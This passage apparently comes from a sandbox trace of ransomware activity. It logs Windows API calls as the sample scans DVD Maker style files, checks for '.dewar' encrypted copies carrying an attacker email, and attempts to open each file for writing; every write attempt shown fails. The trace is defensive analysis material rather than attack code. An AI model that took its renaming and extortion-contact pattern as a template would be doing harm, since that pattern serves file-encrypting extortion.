lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=869322) returned 1 [0253.842] CloseHandle (hObject=0x1e0) returned 1 [0253.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0253.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0253.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.846] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3016) returned 1 [0253.847] CloseHandle (hObject=0x1e0) returned 1 [0253.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0253.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0253.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.848] SetEvent (hEvent=0x118) returned 1 [0253.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.849] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1849) returned 1 [0253.849] CloseHandle (hObject=0x1e0) returned 1 [0253.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0253.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0253.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.851] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3016) returned 1 [0253.851] CloseHandle (hObject=0x1e0) returned 1 [0253.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0253.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0253.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.854] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2041) returned 1 [0253.855] CloseHandle (hObject=0x1e0) returned 1 [0253.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0253.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0253.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.860] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2891) returned 1 [0253.860] CloseHandle (hObject=0x1e0) returned 1 [0253.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0253.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0253.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.861] SetEvent (hEvent=0x118) returned 1 [0253.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.862] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3016) returned 1 [0253.862] CloseHandle (hObject=0x1e0) returned 1 [0253.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0253.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0253.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.865] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2019) returned 1 [0253.865] CloseHandle (hObject=0x1e0) returned 1 [0253.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0253.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0253.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.867] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=13239) returned 1 [0253.867] CloseHandle (hObject=0x1e0) returned 1 [0253.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0253.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0253.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.870] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5761) returned 1 [0253.870] CloseHandle (hObject=0x1e0) returned 1 [0253.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0253.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0253.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.879] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=8169) returned 1 [0253.879] CloseHandle (hObject=0x1e0) returned 1 [0253.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0253.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0253.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0253.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.881] SetEvent (hEvent=0x118) returned 1 [0253.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0253.882] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=25662) returned 1 [0253.882] CloseHandle (hObject=0x1e0) returned 1 [0253.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0253.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0253.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.040] SetEvent (hEvent=0x118) returned 1 [0254.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.043] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7888) returned 1 [0254.043] CloseHandle (hObject=0xe0) returned 1 [0254.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0254.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0254.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.044] SetEvent (hEvent=0x118) returned 1 [0254.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.045] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=16842) returned 1 [0254.045] CloseHandle (hObject=0xe0) returned 1 [0254.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0254.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0254.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0254.047] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=253226) returned 1 [0254.047] CloseHandle (hObject=0xe0) returned 1 [0254.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0254.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0254.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0254.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 